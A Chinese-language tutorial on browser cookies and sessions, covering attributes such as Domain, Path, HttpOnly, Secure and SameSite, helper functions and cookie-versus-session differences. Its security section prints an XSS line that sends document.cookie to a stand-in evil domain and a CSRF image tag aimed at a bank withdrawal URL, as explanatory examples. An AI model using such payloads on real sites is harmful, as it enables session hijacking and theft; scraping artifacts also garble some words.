惊艳面试官的 Cookie 介绍

✔ Cookie 是什么

cookie

Cookie 是用户浏览器保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。javascript

Cookie 主要用于如下三个方面:php

  • 会话状态管理(如用户登陆状态、购物车、游戏分数或其它须要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

✔ Domain

Domain 标识指定了哪些主机能够接受 Cookie。若是不指定,默认为当前文档的主机(不包含子域名)。若是指定了 Domain,则通常包含子域名(子域名能够访问父域名的 Cookie)html

例如,若是设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。java

✔ Path

Path 标识指定了主机下的哪些路径能够接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F (/) 做为路径分隔符,子路径也会被匹配。跨域

设置 Path=/docs,则如下地址都会匹配:浏览器

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

✔ Expires/Max-Age

Cookie 的过时时间,过了这个时间以后 Cookie 将会自动删除。安全

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
复制代码

Max-Age 的单位是秒。服务器

document.cookie = 'promo_shown=1; Max-Age=2600000; Secure'
复制代码

✔ HttpOnly

为避免跨域脚本 (XSS) 攻击,经过 JavaScript 的 Document.cookie API 没法访问带有 HttpOnly 标记的 Cookie,它们只应该发送给服务端。若是包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记。cookie

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
复制代码

✔ Secure

标记为 Secure 的 Cookie 只应经过被 HTTPS 协议加密过的请求发送给服务端。并发

✔ SameSite

ref

SameSite Cookie 容许服务器要求某个 Cookie 在跨站请求时不会被发送,从而能够阻止跨站请求伪造攻击(CSRF)。

Set-Cookie: key=value; SameSite=Strict
复制代码
  • None 浏览器会在同站请求、跨站请求下继续发送 Cookies,不区分大小写;
  • Strict 浏览器将只发送相同站点请求的 Cookie(即当前网页 URL 与请求目标 URL 彻底一致)。若是请求来自与当前 location 的 URL 不一样的 URL,则不包括标记为 Strict 属性的 Cookie;
  • Lax 在新版本浏览器中,为默认选项,Same-site Cookies 将会为一些跨站子请求保留,如图片加载或者 iframe 不会发送,而点击 <a> 标签会发送;
请求类型 示例 正常状况 Lax
连接 <a href="..."></a> 发送 Cookie 发送 Cookie
预加载 <link rel="prerender" href="..."/> 发送 Cookie 发送 Cookie
GET 表单 <form method="GET" action="..."> 发送 Cookie 发送 Cookie
POST 表单 <form method="POST" action="..."> 发送 Cookie 不发送
iframe <iframe src="..."></iframe> 发送 Cookie 不发送
AJAX $.get("...") 发送 Cookie 不发送
Image <img src="..."> 发送 Cookie 不发送

✔ 增删改查

ref

设置 Cookie 和修改 Cookie 相同:

function setCookie(cname, cvalue, exdays) {
  const d = new Date()
  d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000)
  const expires = 'expires=' + d.toUTCString()
  return (document.cookie = cname + '=' + cvalue + ';' + expires + ';path=/')
}
复制代码

删除 Cookie:

function deleteCookie(cname) {
  const d = new Date()
  const expires = 'expires=' + d.toUTCString()
  return (document.cookie = cname + '=' + ';' + expires + ';path=/')
}
复制代码

查询 Cookie:

function getCookie(cname) {
  const cookieObj = document.cookie.split(';').reduce((prev, curr) => {
    const entry = curr.split('=')
    prev[entry[0].trim()] = entry[1]
    return prev
  }, {})
  if (cname) return cookieObj[cname]
  return cookieObj
}
复制代码

✔ 不一样二级域名共享 Cookie

Cookie 能够设置成给子域名共享,相似于在 x.com.cn 设置的 Cookie 能够提供给 a.x.com.cnb.x.com.cnsuba.a.x.com.cn 等域名访问。

好比下面的方式:

res.writeHead(200, {
  'Set-Cookie': ['name=sub-x-com-cn; path=/;domain=x.com.cn', 'name=only-x-com-cn; path=/'],
})
复制代码

domain=x.com.cn 表示 domain=x.com.cn 及其子域名均可以使用, 不写 doamin 默认只有当前域名可用,设置的 Cookie 是这样的:

x.com.cn

subx.x.com.cn


总结

  1. 设置 Cookie 时,在 x.com.cn 设置为 ...;domain=x.com.cn 的 Cookie 能够给 x.com.cn 及其子域名使用;
  2. 设置 Cookie 时,在 x.com.cn 设置没有 domain 的 Cookie 只能给 x.com.cn 使用;
  3. 父域名没法在子域名设置 Cookie,例如在 x.com.cn 设置了 name=lxfriday;domain=subx.x.com.cn,这种设置是无效的;

✔ Cookie 常见问题

  1. Cookie 不区分端口;
  2. 一个 Cookie 存储上限是 4K 大小;
  3. Cookie 只能存储 ASCII 字符串;

✔ Cookie 安全-会话劫持和 XSS

new Image().src = 'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie
复制代码

HttpOnly 类型的 Cookie 因为阻止了 JavaScript 对其的访问性而能在必定程度上缓解此类攻击。

✔ Cookie 安全-跨站请求伪造(CSRF)

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
复制代码

当你打开含有了这张图片的 HTML 页面时,若是你以前已经登陆了你的银行账号而且 Cookie 仍然有效(尚未其它验证步骤),你银行里的钱极可能会被自动转走。

这种状况只是一种假设,实际上应该不容许使用 GET 修改数据,对转帐的操做须要添加二次确认。

✔ Session

Session 机制是一种服务器端的机制,服务器使用一种相似于散列表的结构(也可能就是使用散列表)来保存信息。

当程序须要为某个客户端的请求建立一个 Session 时,服务器首先检查这个客户端的请求里是否已包含了一个 Session 标识(称为 Session ID),若是已包含则说明之前已经为此客户端建立过 Session,服务器就按照 Session ID 把这个 Session 检索出来使用(检索不到,会新建一个),若是客户端请求不包含 Session ID,则为此客户端建立一个 Session 而且生成一个与此 Session 相关联的 Session ID,Session ID 的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个 Session ID 将被在本次响应中返回给客户端保存。

Session 从客户端传输到服务端的方式有两种:

  1. 经过 Cookie 传输;
  2. 经过 URL 传输;
  3. 表单隐藏字段,经过在 <form> 中添加一个隐藏字段,把 Session 传回服务器;

基于 Cookie 实现,会话期 Cookie 是最简单的 Cookie:浏览器关闭以后它会被自动删除,也就是说它仅在会话期内有效。会话期 Cookie 不须要指定过时时间(Expires)或者有效期(Max-Age)。

Set-Cookie: name=lxfriday.xyz; path=/; HttpOnly
复制代码

Session in Chrome

✔ Cookie 与 Session 有什么不一样

ref

  1. 保存的地方不一样,Cookie 保存在客户端,Session 保存在服务端;
  2. 有效期不一样,Cookie 能够存储很长时间,Session 只能存在于一次会话中,浏览器关闭以后 Session 就失效了;
  3. 安全性不一样,Cookie 存储在客户端容易被盗取或者利用,Session 在服务端比较安全;
  4. 存储大小不一样,单个 Cookie 能存储 4K 的数据,Session 存储量比 Cookie 高得多;
  5. 存取方式不一样,Cookie 中只能保存 ASCII 字符串,假如需求存取 Unicode 字符或者二进制数据,需求先进行编码。Session 中可以存取任何类型的数据;
  6. 服务器压力不一样,Session 是存储在服务端的,巨大并发的时候会使服务器资源急速飙升。Cookie 则不存在此问题;
相关文章
相关标签/搜索